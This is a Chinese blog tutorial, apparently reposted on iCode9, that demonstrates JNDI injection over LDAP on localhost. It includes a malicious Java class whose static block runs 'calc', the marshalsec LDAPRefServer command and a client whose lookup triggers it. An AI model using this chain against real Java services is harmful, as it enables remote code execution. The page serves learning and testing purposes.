ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

JNDI注入demo使用ldap方式

2021-12-12 18:59:34  阅读:264  来源: 互联网

标签:demo jar JNDI Muma ldap class marshalsec


JNDI注入demo

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

大致说下原理,JNDI可以获取远程类并在当前环境里面执行。
如果我们知道的某个程序某一处执行了JNDI,那么我们编写一个恶意类让其访问获取,就可以做很多事情了。
当前demo使用的是ldap协议

一。准备工作

1.编写一个恶意类Muma.

里面调用了calc,这个相当于调用了一个计算器。

public class Muma {
	static {
		try {
			Runtime.getRuntime().exec("calc").waitFor();
		} catch (Exception  e1) {
			e1.printStackTrace();
		}
	}
}

值得注意的是,这里面不能有package。

2.编译Muma

javac Muma.java 

然后我们获得了Muma.class

3.把Muma.class放到服务器上面。

本例放到tomcat的ROOT下面。
启动tomcat,http://localhost:8080/Muma.class可以获取到该文件。

4.架设ldap服务器。

  • 下载marshalsec安全工具。github下载代码https://github.com/mbechler/marshalsec
  • 使用maven打包,mvn clean package -DskipTests。这里生成个marshalsec-0.0.3-SNAPSHOT-all.jar,注意是里面的带all的jar
  • 使用jar架设ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080#Muma 9527

这里访问了上面的8080Muma,架设完成,架设好的ldap服务器端口是9527。
额外提下,这个marshalsec还可以架设rmi服务器,总体架设格式如下:

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

到此为止,我们的准备工作做好了。然后我们做个客户端来访问下这个ldap服务。

4.测试

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
	public static void main(String[] args) throws NamingException {
		Context context = new  InitialContext();
		context.lookup("ldap://127.0.0.1:9527/Muma");
	}
}

在这里插入图片描述

相当的的NICE!!!

标签:demo,jar,JNDI,Muma,ldap,class,marshalsec
来源: https://blog.csdn.net/dmw412724/article/details/121891284

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有